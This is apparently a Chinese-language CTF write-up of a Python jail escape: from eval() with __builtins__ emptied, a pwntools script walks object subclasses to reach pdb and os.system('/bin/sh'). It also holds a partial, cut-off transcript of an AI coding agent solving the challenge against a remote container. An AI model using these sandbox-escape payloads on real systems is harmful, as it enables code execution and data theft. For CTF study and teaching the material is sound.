本题是一个简单的 Python jail 挑战。程序禁用了 __builtins__，但允许用户输入任意代码并通过 eval() 执行。Flag 位于文件系统中的某个位置。
附件：
# flag is located somewhere in the file system
while True:
code = input("jail>")
print(eval(code, {'__builtins__': {}}))
Python jail 的核心漏洞在于即使禁用了 __builtins__，攻击者仍然可以通过对象继承链访问到其他内置模块和函数。本题是 SECCON 2024 Quals 1linepyjail 的简化版本。
().__class__.__base__.__subclasses__() 获取所有内置类的列表_sitebuiltins._Helper 类来调用 help() 函数，从而加载 pdb 模块_sitebuiltins._Printer 类访问 sys 模块sys.modules['pdb'].set_trace() 进入调试模式首先需要找到 _sitebuiltins._Helper 和 _sitebuiltins._Printer 类在子类列表中的索引：
from pwn import *
context(log_level="debug")
# step 1. locate Helper and Printer
p = process(["python3", "main.py"])
p.recvuntil(b"jail>")
p.sendline("().__class__.__base__.__subclasses__()".encode())
res = p.recvline().decode().removesuffix("]\n")
helper_index = res.split(", ").index("<class '_sitebuiltins._Helper'>")
printer_index = res.split(", ").index("<class '_sitebuiltins._Printer'>")
print("Helper", helper_index)
print("Printer", printer_index)
使用 Helper 类调用 help() 函数，加载 pdb 模块：
# step 2. call help() to load pdb module
p = process(["python3", "main.py"])
p.recvuntil(b"jail>")
p.sendline((f"().__class__.__base__.__subclasses__()[{helper_index}]()()").encode())
# load pdb and return to jail
p.sendline(b"pdb")
p.sendline(b"main")
p.recvuntil(b"jail>")
通过 Printer 类访问 sys 模块，调用 pdb.set_trace() 进入调试模式：
# step 3. locate sys module and call `sys.modules['pdb'].set_trace()`
p.sendline(
(
f"().__class__.__base__.__subclasses__()[{printer_index}]"
+ ".__init__.__globals__['sys'].modules['pdb'].set_trace()"
).encode()
)
在 pdb 调试模式下执行任意 Python 代码：
# step 4. get shell in pdb
p.recvuntil(b"(Pdb) ")
p.sendline(
(
f"().__class__.__base__.__subclasses__()[{printer_index}]"
+ ".__init__.__globals__['sys'].modules['os'].system('/bin/sh')"
).encode()
)
p.sendline(b"cat flag")
p.interactive()
from pwn import *
context(log_level="debug")
# step 1. locate Helper and Printer
p = process(["python3", "main.py"])
p.recvuntil(b"jail>")
p.sendline("().__class__.__base__.__subclasses__()".encode())
res = p.recvline().decode().removesuffix("]\n")
helper_index = res.split(", ").index("<class '_sitebuiltins._Helper'>")
printer_index = res.split(", ").index("<class '_sitebuiltins._Printer'>")
print("Helper", helper_index)
print("Printer", printer_index)
# step 2. call help() to load pdb module
p = process(["python3", "main.py"])
p.recvuntil(b"jail>")
p.sendline((f"().__class__.__base__.__subclasses__()[{helper_index}]()()").encode())
# load pdb and return to jail
p.sendline(b"pdb")
p.sendline(b"main")
p.recvuntil(b"jail>")
# step 3. locate sys module and call `sys.modules['pdb'].set_trace()`
p.sendline(
(
f"().__class__.__base__.__subclasses__()[{printer_index}]"
+ ".__init__.__globals__['sys'].modules['pdb'].set_trace()"
).encode()
)
# step 4. get shell in pdb
p.recvuntil(b"(Pdb) ")
p.sendline(
(
f"().__class__.__base__.__subclasses__()[{printer_index}]"
+ ".__init__.__globals__['sys'].modules['os'].system('/bin/sh')"
).encode()
)
p.sendline(b"cat flag")
p.interactive()
Python jail 题目是 CTF 中的常见题型，考察选手对 Python 对象模型和沙箱逃逸技术的理解。解决这类题目的关键在于：
object 类__builtins__ 被禁用，仍然可以通过其他途径访问系统模块help()、pdb等更多 Python jail 的解题技巧可以参考 Pyjail 总结。
下面是用 DeepSeek + Qwen Code 全自动求解本题的一个例子：
🧑💻 ## USER
This is the Qwen Code. We are setting up the context for our chat. Today’s date is Saturday, December 6, 2025 (formatted according to the user’s locale). My operating system is: linux I’m currently working in the directory: /home/jiegec/ctf/temp Here is the folder structure of the current working directories:
Showing up to 20 items (files + folders).
/home/jiegec/ctf/temp/ └───main.py
✨ ## MODEL
Got it. Thanks for the context!
🧑💻 ## USER
Solve CTF challenge in main.py. The remote contaienr is at ctf.jia.je:32784. You can use pwntools to solve it.
✨ ## MODEL
I’ll help you solve the CTF challenge. First, let me examine the main.py file to understand the challenge.Tool Command:
{
"id": "call_00_tC5bPqAGlls38IHt2rINubBm",
"name": "read_file",
"args": {
"absolute_path": "/home/jiegec/ctf/temp/main.py"
}
}
🧑💻 ## USER
Tool Response:
{
"id": "call_00_tC5bPqAGlls38IHt2rINubBm",
"name": "read_file",
"response": {
"output": "# flag is located somewhere in the file system\n\nwhile True:\n code = input(\"jail>\")\n print(eval(code, {'__builtins__': {}}))\n"
}
}
✨ ## MODEL
This is a Python jail challenge with restricted builtins. Let me create a todo list to systematically solve this challenge.Tool Command:
{
"id": "call_00_Fuv99vReHyi83QtfzpZ1SezG",
"name": "todo_write",
"args": {
"todos": [
{
"id": "1",
"content": "Analyze the jail challenge and understand the restrictions",
"status": "in_progress"
},
{
"id": "2",
"content": "Test local exploitation to understand the jail",
"status": "pending"
},
{
"id": "3",
"content": "Write pwntools script to connect to remote server",
"status": "pending"
},
{
"id": "4",
"content": "Find and read the flag file",
"status": "pending"
},
{
"id": "5",
"content": "Extract and submit the flag",
"status": "pending"
}
]
}
}
🧑💻 ## USER
Tool Response:
{
"id": "call_00_Fuv99vReHyi83QtfzpZ1SezG",
"name": "todo_write",
"response": {
"output": "Todos have been modified successfully. Ensure that you continue to use the todo list to track your progress. Please proceed with the current tasks if applicable\n\n<system-reminder>\nYour todo list has changed. DO NOT mention this explicitly to the user. Here are the latest contents of your todo list: \n\n[{\"id\":\"1\",\"content\":\"Analyze the jail challenge and understand the restrictions\",\"status\":\"in_progress\"},{\"id\":\"2\",\"content\":\"Test local exploitation to understand the jail\",\"status\":\"pending\"},{\"id\":\"3\",\"content\":\"Write pwntools script to connect to remote server\",\"status\":\"pending\"},{\"id\":\"4\",\"content\":\"Find and read the flag file\",\"status\":\"pending\"},{\"id\":\"5\",\"content\":\"Extract and submit the flag\",\"status\":\"pending\"}]. Continue on with the tasks at hand if applicable.\n</system-reminder>"
}
}
✨ ## MODEL
The challenge is a Python jail with __builtins__ restricted to an empty dictionary. This means we can’t use standard built-in functions like open, __import__, exec, etc. However, we can still access some Python internals through object methods and attributes.
Let me first test locally to understand what we can do:Tool Command:
{
"id": "call_00_cMsXZdbKYoVEOgZbDtOg4SRP",
"name": "write_file",
"args": {
"file_path": "/home/jiegec/ctf/temp/test_jail.py",
"content": "#!/usr/bin/env python3\n# Test script to understand the jail\n\n# Simulate the jail environment\ndef test_jail(code):\n try:\n result = eval(code, {'__builtins__': {}})\n print(f\"Code: {code}\")\n print(f\"Result: {result}\")\n print(\"-\" * 50)\n except Exception as e:\n print(f\"Code: {code}\")\n print(f\"Error: {e}\")\n print(\"-\" * 50)\n\n# Test basic Python operations\ntest_jail(\"1+1\")\ntest_jail(\"[].__class__\")\ntest_jail(\"().__class__.__bases__[0].__subclasses__()\")\ntest_jail(\"''.__class__.__mro__[1].__subclasses__()\")"
}
}
🧑💻 ## USER
Tool Response:
{
"id": "call_00_cMsXZdbKYoVEOgZbDtOg4SRP",
"name": "write_file",
"response": {
"output": "Successfully created and wrote to new file: /home/jiegec/ctf/temp/test_jail.py."
}
}
✨ ## MODEL
Tool Command:
{
"id": "call_00_lMZzic7k7uvMy37c4xzK7pep",
"name": "run_shell_command",
"args": {
"command": "cd /home/jiegec/ctf/temp && python3 test_jail.py",
"is_background": false,
"description": "Test the jail environment locally"
}
}
🧑💻 ## USER
Tool Response:
{
"id": "call_00_lMZzic7k7uvMy37c4xzK7pep",
"name": "run_shell_command",
"response": {
"output": "Command: cd /home/jiegec/ctf/temp && python3 test_jail.py\nDirectory: (root)\nOutput: Code: 1+1\nResult: 2\n--------------------------------------------------\nCode: [].__class__\nResult: <class 'list'>\n--------------------------------------------------\nCode: ().__class__.__bases__[0].__subclasses__()\nResult: [<class 'type'>, <class 'async_generator'>, <class 'bytearray_iterator'>, <class 'bytearray'>, <class 'bytes_iterator'>, <class 'bytes'>, <class 'builtin_function_or_method'>, <class 'callable_iterator'>, <class 'PyCapsule'>, <class 'cell'>, <class 'classmethod_descriptor'>, <class 'classmethod'>, <class 'code'>, <class 'complex'>, <class '_contextvars.Token'>, <class '_contextvars.ContextVar'>, <class '_contextvars.Context'>, <class 'coroutine'>, <class 'dict_items'>, <class 'dict_itemiterator'>, <class 'dict_keyiterator'>, <class 'dict_valueiterator'>, <class 'dict_keys'>, <class 'mappingproxy'>, <class 'dict_reverseitemiterator'>, <class 'dict_reversekeyiterator'>, <class 'dict_reversevalueiterator'>, <class 'dict_values'>, <class 'dict'>, <class 'ellipsis'>, <class 'enumerate'>, <class 'filter'>, <class 'float'>, <class 'frame'>, <class 'FrameLocalsProxy'>, <class 'frozenset'>, <class 'function'>, <class 'generator'>, <class 'getset_descriptor'>, <class 'instancemethod'>, <class 'list_iterator'>, <class 'list_reverseiterator'>, <class 'list'>, <class 'longrange_iterator'>, <class 'int'>, <class 'map'>, <class 'member_descriptor'>, <class 'memoryview'>, <class 'method_descriptor'>, <class 'method'>, <class 'moduledef'>, <class 'module'>, <class 'odict_iterator'>, <class 'pickle.PickleBuffer'>, <class 'property'>, <class 'range_iterator'>, <class 'range'>, <class 'reversed'>, <class 'symtable entry'>, <class 'iterator'>, <class 'set_iterator'>, <class 'set'>, <class 'slice'>, <class 'staticmethod'>, <class 'stderrprinter'>, <class 'super'>, <class 'traceback'>, <class 'tuple_iterator'>, <class 'tuple'>, <class 'str_iterator'>, <class 'str'>, <class 'wrapper_descriptor'>, <class 'zip'>, <class 'types.GenericAlias'>, <class 'anext_awaitable'>, <class 'async_generator_asend'>, <class 'async_generator_athrow'>, <class 'async_generator_wrapped_value'>, <class '_buffer_wrapper'>, <class 'Token.MISSING'>, <class 'coroutine_wrapper'>, <class 'generic_alias_iterator'>, <class 'items'>, <class 'keys'>, <class 'values'>, <class 'hamt_array_node'>, <class 'hamt_bitmap_node'>, <class 'hamt_collision_node'>, <class 'hamt'>, <class 'InstructionSequence'>, <class 'sys.legacy_event_handler'>, <class 'line_iterator'>, <class 'managedbuffer'>, <class 'memory_iterator'>, <class 'method-wrapper'>, <class 'types.SimpleNamespace'>, <class 'NoneType'>, <class 'NotImplementedType'>, <class 'positions_iterator'>, <class 'str_ascii_iterator'>, <class 'types.UnionType'>, <class 'weakref.CallableProxyType'>, <class 'weakref.ProxyType'>, <class 'weakref.ReferenceType'>, <class 'typing.TypeAliasType'>, <class 'NoDefaultType'>, <class 'typing.Generic'>, <class 'typing.TypeVar'>, <class 'typing.TypeVarTuple'>, <class 'typing.ParamSpec'>, <class 'typing.ParamSpecArgs'>, <class 'typing.ParamSpecKwargs'>, <class 'EncodingMap'>, <class 'fieldnameiterator'>, <class 'formatteriterator'>, <class 'BaseException'>, <class '_frozen_importlib._WeakValueDictionary'>, <class '_frozen_importlib._BlockingOnManager'>, <class '_frozen_importlib._ModuleLock'>, <class '_frozen_importlib._DummyModuleLock'>, <class '_frozen_importlib._ModuleLockManager'>, <class '_frozen_importlib.ModuleSpec'>, <class '_frozen_importlib.BuiltinImporter'>, <class '_frozen_importlib.FrozenImporter'>, <class '_frozen_importlib._ImportLockContext'>, <class '_thread._ThreadHandle'>, <class '_thread.lock'>, <class '_thread.RLock'>, <class '_thread._localdummy'>, <class '_thread._local'>, <class '_io.IncrementalNewlineDecoder'>, <class '_io._BytesIOBuffer'>, <class '_io._IOBase'>, <class 'posix.ScandirIterator'>, <class 'posix.DirEntry'>, <class '_frozen_importlib_external.WindowsRegistryFinder'>, <class '_frozen_importlib_external._LoaderBasics'>, <class '_frozen_importlib_external.FileLoader'>, <class '_frozen_importlib_external._NamespacePath'>, <class '_frozen_importlib_external.NamespaceLoader'>, <class '_frozen_importlib_external.PathFinder'>, <class '_frozen_importlib_external.FileFinder'>, <class 'codecs.Codec'>, <class 'codecs.IncrementalEncoder'>, <class 'codecs.IncrementalDecoder'>, <class 'codecs.StreamReaderWriter'>, <class 'codecs.StreamRecoder'>, <class '_abc._abc_data'>, <class 'abc.ABC'>, <class 'collections.abc.Hashable'>, <class 'collections.abc.Awaitable'>, <class 'collections.abc.AsyncIterable'>, <class 'collections.abc.Iterable'>, <class 'collections.abc.Sized'>, <class 'collections.abc.Container'>, <class 'collections.abc.Buffer'>, <class 'collections.abc.Callable'>, <class 'genericpath.ALLOW_MISSING'>, <class 'os._wrap_close'>, <class '_sitebuiltins.Quitter'>, <class '_sitebuiltins._Printer'>, <class '_sitebuiltins._Helper'>, <class '_distutils_hack._TrivialRe'>, <class '_distutils_hack.DistutilsMetaFinder'>, <class '_distutils_hack.shim'>]\n--------------------------------------------------\nCode: ''.__class__.__mro__[1].__subclasses__()\nResult: [<class 'type'>, <class 'async_generator'>, <class 'bytearray_iterator'>, <class 'bytearray'>, <class 'bytes_iterator'>, <class 'bytes'>, <class 'builtin_function_or_method'>, <class 'callable_iterator'>, <class 'PyCapsule'>, <class 'cell'>, <class 'classmethod_descriptor'>, <class 'classmethod'>, <class 'code'>, <class 'complex'>, <class '_contextvars.Token'>, <class '_contextvars.ContextVar'>, <class '_contextvars.Context'>, <class 'coroutine'>, <class 'dict_items'>, <class 'dict_itemiterator'>, <class 'dict_keyiterator'>, <class 'dict_valueiterator'>, <class 'dict_keys'>, <class 'mappingproxy'>, <class 'dict_reverseitemiterator'>, <class 'dict_reversekeyiterator'>, <class 'dict_reversevalueiterator'>, <class 'dict_values'>, <class 'dict'>, <class 'ellipsis'>, <class 'enumerate'>, <class 'filter'>, <class 'float'>, <class 'frame'>, <class 'FrameLocalsProxy'>, <class 'frozenset'>, <class 'function'>, <class 'generator'>, <class 'getset_descriptor'>, <class 'instancemethod'>, <class 'list_iterator'>, <class 'list_reverseiterator'>, <class 'list'>, <class 'longrange_iterator'>, <class 'int'>, <class 'map'>, <class 'member_descriptor'>, <class 'memoryview'>, <class 'method_descriptor'>, <class 'method'>, <class 'moduledef'>, <class 'module'>, <class 'odict_iterator'>, <class 'pickle.PickleBuffer'>, <class 'property'>, <class 'range_iterator'>, <class 'range'>, <class 'reversed'>, <class 'symtable entry'>, <class 'iterator'>, <class 'set_iterator'>, <class 'set'>, <class 'slice'>, <class 'staticmethod'>, <class 'stderrprinter'>, <class 'super'>, <class 'traceback'>, <class 'tuple_iterator'>, <class 'tuple'>, <class 'str_iterator'>, <class 'str'>, <class 'wrapper_descriptor'>, <class 'zip'>, <class 'types.GenericAlias'>, <class 'anext_awaitable'>, <class 'async_generator_asend'>, <class 'async_generator_athrow'>, <class 'async_generator_wrapped_value'>, <class '_buffer_wrapper'>, <class 'Token.MISSING'>, <class 'coroutine_wrapper'>, <class 'generic_alias_iterator'>, <class 'items'>, <class 'keys'>, <class 'values'>, <class 'hamt_array_node'>, <class 'hamt_bitmap_node'>, <class 'hamt_collision_node'>, <class 'hamt'>, <class 'InstructionSequence'>, <class 'sys.legacy_event_handler'>, <class 'line_iterator'>, <class 'managedbuffer'>, <class 'memory_iterator'>, <class 'method-wrapper'>, <class 'types.SimpleNamespace'>, <class 'NoneType'>, <class 'NotImplementedType'>, <class 'positions_iterator'>, <class 'str_ascii_iterator'>, <class 'types.UnionType'>, <class 'weakref.CallableProxyType'>, <class 'weakref.ProxyType'>, <class 'weakref.ReferenceType'>, <class 'typing.TypeAliasType'>, <class 'NoDefaultType'>, <class 'typing.Generic'>, <class 'typing.TypeVar'>, <class 'typing.TypeVarTuple'>, <class 'typing.ParamSpec'>, <class 'typing.ParamSpecArgs'>, <class 'typing.ParamSpecKwargs'>, <class 'EncodingMap'>, <class 'fieldnameiterator'>, <class 'formatteriterator'>, <class 'BaseException'>, <class '_frozen_importlib._WeakValueDictionary'>, <class '_frozen_importlib._BlockingOnManager'>, <class '_frozen_importlib._ModuleLock'>, <class '_frozen_importlib._DummyModuleLock'>, <class '_frozen_importlib._ModuleLockManager'>, <class '_frozen_importlib.ModuleSpec'>, <class '_frozen_importlib.BuiltinImporter'>, <class '_frozen_importlib.FrozenImporter'>, <class '_frozen_importlib._ImportLockContext'>, <class '_thread._ThreadHandle'>, <class '_thread.lock'>, <class '_thread.RLock'>, <class '_thread._localdummy'>, <class '_thread._local'>, <class '_io.IncrementalNewlineDecoder'>, <class '_io._BytesIOBuffer'>, <class '_io._IOBase'>, <class 'posix.ScandirIterator'>, <class 'posix.DirEntry'>, <class '_frozen_importlib_external.WindowsRegistryFinder'>, <class '_frozen_importlib_external._LoaderBasics'>, <class '_frozen_importlib_external.FileLoader'>, <class '_frozen_importlib_external._NamespacePath'>, <class '_frozen_importlib_external.NamespaceLoader'>, <class '_frozen_importlib_external.PathFinder'>, <class '_frozen_importlib_external.FileFinder'>, <class 'codecs.Codec'>, <class 'codecs.IncrementalEncoder'>, <class 'codecs.IncrementalDecoder'>, <class 'codecs.StreamReaderWriter'>, <class 'codecs.StreamRecoder'>, <class '_abc._abc_data'>, <class 'abc.ABC'>, <class 'collections.abc.Hashable'>, <class 'collections.abc.Awaitable'>, <class 'collections.abc.AsyncIterable'>, <class 'collections.abc.Iterable'>, <class 'collections.abc.Sized'>, <class 'collections.abc.Container'>, <class 'collections.abc.Buffer'>, <class 'collections.abc.Callable'>, <class 'genericpath.ALLOW_MISSING'>, <class 'os._wrap_close'>, <class '_sitebuiltins.Quitter'>, <class '_sitebuiltins._Printer'>, <class '_sitebuiltins._Helper'>, <class '_distutils_hack._TrivialRe'>, <class '_distutils_hack.DistutilsMetaFinder'>, <class '_distutils_hack.shim'>]\n--------------------------------------------------\nError: (none)\nExit Code: 0\nSignal: (none)\nBackground PIDs: 1793795\nProcess Group PGID: (none)"
}
}
✨ ## MODEL
Good! We can access subclasses. Now let me update the todo and test more exploitation techniques:Tool Command:
{
"id": "call_00_qFus1AvCjYZFUO2wDdGCjDnQ",
"name": "todo_write",
"args": {
"todos": [
{
"id": "1",
"content": "Analyze the jail challenge and understand the restrictions",
"status": "completed"
},
{
"id": "2",
"content": "Test local exploitation to understand the jail",
"status": "in_progress"
},
{
"id": "3",
"content": "Write pwntools script to connect to remote server",
"status": "pending"
},
{
"id": "4",
"content": "Find and read the flag file",
"status": "pending"
},
{
"id": "5",
"content": "Extract and submit the flag",
"status": "pending"
}
]
}
}
🧑💻 ## USER
Tool Response:
{
"id": "call_00_qFus1AvCjYZFUO2wDdGCjDnQ",
"name": "todo_write",
"response": {
"output": "Todos have been modified successfully. Ensure that you continue to use the todo list to track your progress. Please proceed with the current tasks if applicable\n\n<system-reminder>\nYour todo list has changed. DO NOT mention this explicitly to the user. Here are the latest contents of your todo list: \n\n[{\"id\":\"1\",\"content\":\"Analyze the jail challenge and understand the restrictions\",\"status\":\"completed\"},{\"id\":\"2\",\"content\":\"Test local exploitation to understand the jail\",\"status\":\"in_progress\"},{\"id\":\"3\",\"content\":\"Write pwntools script to connect to remote server\",\"status\":\"pending\"},{\"id\":\"4\",\"content\":\"Find and read the flag file\",\"status\":\"pending\"},{\"id\":\"5\",\"content\":\"Extract and submit the flag\",\"status\":\"pending\"}]. Continue on with the tasks at hand if applicable.\n</system-reminder>"
}
}
✨ ## MODEL
Let me test more exploitation techniques. We need to find a way to read files. Looking at the subclasses, I see os._wrap_close which might give us access to os module functions. Let me test this:Tool Command:
{
"id": "call_00_J1uH3wVia3SjMh70cfiaaUIv",
"name": "write_file",
"args": {
"file_path": "/home/jiegec/ctf/temp/test_exploit.py",
"content": "#!/usr/bin/env python3\n# Test exploitation techniques\n\ndef test_jail(code):\n try:\n result = eval(code, {'__builtins__': {}})\n print(f\"Code: {code}\")\n print(f\"Result: {result}\")\n print(\"-\" * 50)\n except Exception as e:\n print(f\"Code: {code}\")\n print(f\"Error: {e}\")\n print(\"-\" * 50)\n\n# Find os._wrap_close index\ntest_jail(\"''.__class__.__mro__[1].__subclasses__().index(''.__class__.__mro__[1].__subclasses__()[140])\")\n\n# Test accessing os._wrap_close\ntest_jail(\"''.__class__.__mro__[1].__subclasses__()[140]\")\n\n# Try to get os module from _wrap_close\ntest_jail(\"''.__class__.__mro__[1].__subclasses__()[140].__init__\")\n\n# Try to get __globals__\ntest_jail(\"''.__class__.__mro__[1].__subclasses__()[140].__init__.__globals__\")\n\n# Try a different approach - look for subprocess or file reading classes\ntest_jail(\"[c.__name__ for c in ''.__class__.__mro__[1].__subclasses__() if 'file' in c.__name__.lower()]\")\n\n# Look for useful classes\ntest_jail(\"[c.__name__ for c in ''.__class__.__mro__[1].__subclasses__() if 'open' in c.__name__.lower() or 'read' in c.__name__.lower() or 'file' in c.__name__.lower()]\")"
}
}
🧑💻 ## USER
Tool Response:
{
"id": "call_00_J1uH3wVia3SjMh70cfiaaUIv",
"name": "write_file",
"response": {
"output": "Successfully created and wrote to new file: /home/jiegec/ctf/temp/test_exploit.py."
}
}
✨ ## MODEL
Tool Command:
{
"id": "call_00_dvvthCbU7kecEM41zCQt80nW",
"name": "run_shell_command",
"args": {
"command": "cd /home/jiegec/ctf/temp && python3 test_exploit.py",
"is_background": false,
"description": "Test exploitation techniques for the jail"
}
}
🧑💻 ## USER
Tool Response:
{
"id": "call_00_dvvthCbU7kecEM41zCQt80nW",
"name": "run_shell_command",
"response": {
"output": "Command: cd /home/jiegec/ctf/temp && python3 test_exploit.py\nDirectory: (root)\nOutput: Code: ''.__class__.__mro__[1].__subclasses__().index(''.__class__.__mro__[1].__subclasses__()[140])\nResult: 140\n--------------------------------------------------\nCode: ''.__class__.__mro__[1].__subclasses__()[140]\nResult: <class '_frozen_importlib_external.PathFinder'>\n--------------------------------------------------\nCode: ''.__class__.__mro__[1].__subclasses__()[140].__init__\nResult: <slot wrapper '__init__' of 'object' objects>\n--------------------------------------------------\nCode: ''.__class__.__mro__[1].__subclasses__()[140].__init__.__globals__\nError: 'wrapper_descriptor' object has no attribute '__globals__'\n--------------------------------------------------\nCode: [c.__name__ for c in ''.__class__.__mro__[1].__subclasses__() if 'file' in c.__name__.lower()]\nResult: ['FileLoader', 'FileFinder']\n--------------------------------------------------\nCode: [c.__name__ for c in ''.__class__.__mro__[1].__subclasses__() if 'open' in c.__name__.lower() or 'read' in c.__name__.lower() or 'file' in c.__name__.lower()]\nResult: ['_ThreadHandle', 'FileLoader', 'FileFinder', 'StreamReaderWriter']\n--------------------------------------------------\nError: (none)\nExit Code: 0\nSignal: (none)\nBackground PIDs: 1793856\nProcess Group PGID: (none)"
}
}
✨ ## MODEL
Good! We found FileLoader and FileFinder. Let me check what methods these classes have. But first, let me find the index of os._wrap_close:Tool Command:
{
"id": "call_00_kqQrUbfImsU5rcFYX7nP90Du",
"name": "write_file",
"args": {
"file_path": "/home/jiegec/ctf/temp/find_os_wrap_close.py",
"content": "#!/usr/bin/env python3\n# Find os._wrap_close index\n\ndef test_jail(code):\n try:\n result = eval(code, {'__builtins__': {}})\n return result\n except Exception as e:\n return str(e)\n\n# Find all subclasses and their indices\nsubclasses = test_jail(\"''.__class__.__mro__[1].__subclasses__()\")\nprint(f\"Total subclasses: {len(subclasses)}\")\n\n# Find os._wrap_close\nfor i, cls in enumerate(subclasses):\n if hasattr(cls, '__name__') and cls.__name__ == '_wrap_close':\n print(f\"Found _wrap_close at index {i}\")\n break\n\n# Also look for other useful classes\nuseful_classes = ['_wrap_close', 'FileLoader', 'FileFinder', 'open', 'read', 'exec', 'eval', 'compile']\nfor useful in useful_classes:\n for i, cls in enumerate(subclasses):\n if hasattr(cls, '__name__') and useful in cls.__name__:\n print(f\"Found {cls.__name__} at index {i}\")"
}
}
🧑💻 ## USER
Tool Response:
{
"id": "call_00_kqQrUbfImsU5rcFYX7nP90Du",
"name": "write_file",
"response": {
"output": "Successfully created and wrote to new file: /home/jiegec/ctf/temp/find_os_wrap_close.py."
}
}
✨ ## MODEL
Tool Command:
{
"id": "call_00_ODGYVsu45YfLyr4zgei0AVNI",
"name": "run_shell_command",
"args": {
"command": "cd /home/jiegec/ctf/temp && python3 find_os_wrap_close.py",
"is_background": false,
"description": "Find the index of os._wrap_close and other useful classes"
}
}
🧑💻 ## USER
Tool Response:
{
"id": "call_00_ODGYVsu45YfLyr4zgei0AVNI",
"name": "run_shell_command",
"response": {
"output": "Command: cd /home/jiegec/ctf/temp && python3 find_os_wrap_close.py\nDirectory: (root)\nOutput: Total subclasses: 165\nFound _wrap_close at index 158\nFound _wrap_close at index 158\nFound FileLoader at index 137\nFound FileFinder at index 141\nFound _ThreadHandle at index 125\nFound dict_reversevalueiterator at index 26\nError: (none)\nExit Code: 0\nSignal: (none)\nBackground PIDs: 1793903\nProcess Group PGID: (none)"
}
}
✨ ## MODEL
Great! _wrap_close is at index 158. This class is important because it’s a wrapper around file descriptors and has access to the os module. Let me test if we can use it to get os.system or os.popen:Tool Command:
{
"id": "call_00_XS2YHKZPzoxf8ahvksIB9aTR",
"name": "write_file",
"args": {
"file_path": "/home/jiegec/ctf/temp/test_wrap_close.py",
"content": "#!/usr/bin/env python3\n# Test _wrap_close exploitation\n\ndef test_jail(code):\n try:\n result = eval(code, {'__builtins__': {}})\n print(f\"Code: {code}\")\n print(f\"Result type: {type(result)}\")\n if not isinstance(result, (int, float, complex)):\n print(f\"Result repr: {repr(result)[:200]}\")\n else:\n print(f\"Result: {result}\")\n print(\"-\" * 50)\n return result\n except Exception as e:\n print(f\"Code: {code}\")\n print(f\"Error: {e}\")\n print(\"-\" * 50)\n return None\n\n# Get _wrap_close class\nwrap_close = test_jail(\"''.__class__.__mro__[1].__subclasses__()[158]\")\n\n# Try to get __init__.__globals__\ntest_jail(\"''.__class__.__mro__[1].__subclasses__()[158].__init__\")\n\n# Try __globals__ on the class itself\ntest_jail(\"''.__class__.__mro__[1].__subclasses__()[158].__globals__\")\n\n# Try to find a method with __globals__\ntest_jail(\"[attr for attr in dir(''.__class__.__mro__[1].__subclasses__()[158]) if not attr.startswith('__')]\")\n\n# Try close method\ntest_jail(\"''.__class__.__mro__[1].__subclasses__()[158].close\")\n\n# Try to get __globals__ from close method\ntest_jail(\"''.__class__.__mro__[1].__subclasses__()[158].close.__globals__\")"
}
}
🧑💻 ## USER
Tool Response:
{
"id": "call_00_XS2YHKZPzoxf8ahvksIB9aTR",
"name": "write_file",
"response": {
"output": "Successfully created and wrote to new file: /home/jiegec/ctf/temp/test_wrap_close.py."
}
}
✨ ## MODEL
Tool Command:
{
"id": "call_00_RA7LfPFlDXUAv18HHXrHs9KR",
"name": "run_shell_command",
"args": {
"command": "cd /home/jiegec/ctf/temp && python3 test_wrap_close.py",
"is_background": false,
"description": "Test _wrap_close class for exploitation"
}
}
🧑💻 ## USER
Tool Response:
{
"id": "call_00_RA7LfPFlDXUAv18HHXrHs9KR",
"name": "run_shell_command",
"response": {
"output": "Command: cd /home/jiegec/ctf/temp && python3 test_wrap_close.py\nDirectory: (root)\nOutput: Code: ''.__class__.__mro__[1].__subclasses__()[158]\nResult type: <class 'type'>\nResult repr: <class 'os._wrap_close'>\n--------------------------------------------------\nCode: ''.__class__.__mro__[1].__subclasses__()[158].__init__\nResult type: <class 'function'>\nResult repr: <function _wrap_close.__init__ at 0x7fc2b2209800>\n--------------------------------------------------\nCode: ''.__class__.__mro__[1].__subclasses__()[158].__globals__\nError: type object '_wrap_close' has no attribute '__globals__'\n--------------------------------------------------\nCode: [attr for attr in dir(''.__class__.__mro__[1].__subclasses__()[158]) if not attr.startswith('__')]\nError: name 'dir' is not defined\n--------------------------------------------------\nCode: ''.__class__.__mro__[1].__subclasses__()[158].close\nResult type: <class 'function'>\nResult repr: <function _wrap_close.close at 0x7fc2b22098a0>\n--------------------------------------------------\nCode: ''.__class__.__mro__[1].__subclasses__()[158].close.__globals__\nResult type: <class 'dict'>\nResult repr: {'__name__': 'os', '__doc__': \"OS routines for NT or Posix depending on what system we're on.\\n\\nThis exports:\\n - all functions from posix or nt, e.g. unlink, stat, etc.\\n - os.path is either posix\n--------------------------------------------------\nError: (none)\nExit Code: 0\nSignal: (none)\nBackground PIDs: 1793954\nProcess Group PGID: (none)"
}
}
✨ ## MODEL
Excellent! We can access __globals__ from the close method of _wrap_close, which gives us access to the os module! Now let me test if we can use this to execute commands or read files:Tool Command:
{
"id": "call_00_vcnAHg81DAxQXGmi0xhrimLs",
"name": "todo_write",
"args": {
"todos": [
{
"id": "1",
"content": "Analyze the jail challenge and understand the restrictions",
"status": "completed"
},
{
"id": "2",
"content": "Test local exploitation to understand the jail",
"status": "completed"
},
{
"id": "3",
"content": "Write pwntools script to connect to remote server",
"status": "in_progress"
},
{
"id": "4",
"content": "Find and read the flag file",
"status": "pending"
},
{
"id": "5",
"content": "Extract and submit the flag",
"status": "pending"
}
]
}
}
🧑💻 ## USER
Tool Response:
{
"id": "call_00_vcnAHg81DAxQXGmi0xhrimLs",
"name": "todo_write",
"response": {
"output": "Todos have been modified successfully. Ensure that you continue to use the todo list to track your progress. Please proceed with the current tasks if applicable\n\n<system-reminder>\nYour todo list has changed. DO NOT mention this explicitly to the user. Here are the latest contents of your todo list: \n\n[{\"id\":\"1\",\"content\":\"Analyze the jail challenge and understand the restrictions\",\"status\":\"completed\"},{\"id\":\"2\",\"content\":\"Test local exploitation to understand the jail\",\"status\":\"completed\"},{\"id\":\"3\",\"content\":\"Write pwntools script to connect to remote server\",\"status\":\"in_progress\"},{\"id\":\"4\",\"content\":\"Find and read the flag file\",\"status\":\"pending\"},{\"id\":\"5\",\"content\":\"Extract and submit the flag\",\"status\":\"pending\"}]. Continue on with the tasks at hand if applicable.\n</system-reminder>"
}
}
✨ ## MODEL
Now I’ll write a pwntools script to connect to the remote server and exploit the jail. First, let me check if pwntools is available:Tool Command:
{
"id": "call_00_JEWScbwO3i4wQib9sdoU2ogE",
"name": "run_shell_command",
"args": {
"command": "python3 -c \"import pwn; print('pwntools available')\"",
"is_background": false,
"description": "Check if pwntools is installed"
}
}
🧑💻 ## USER
Tool Response:
{
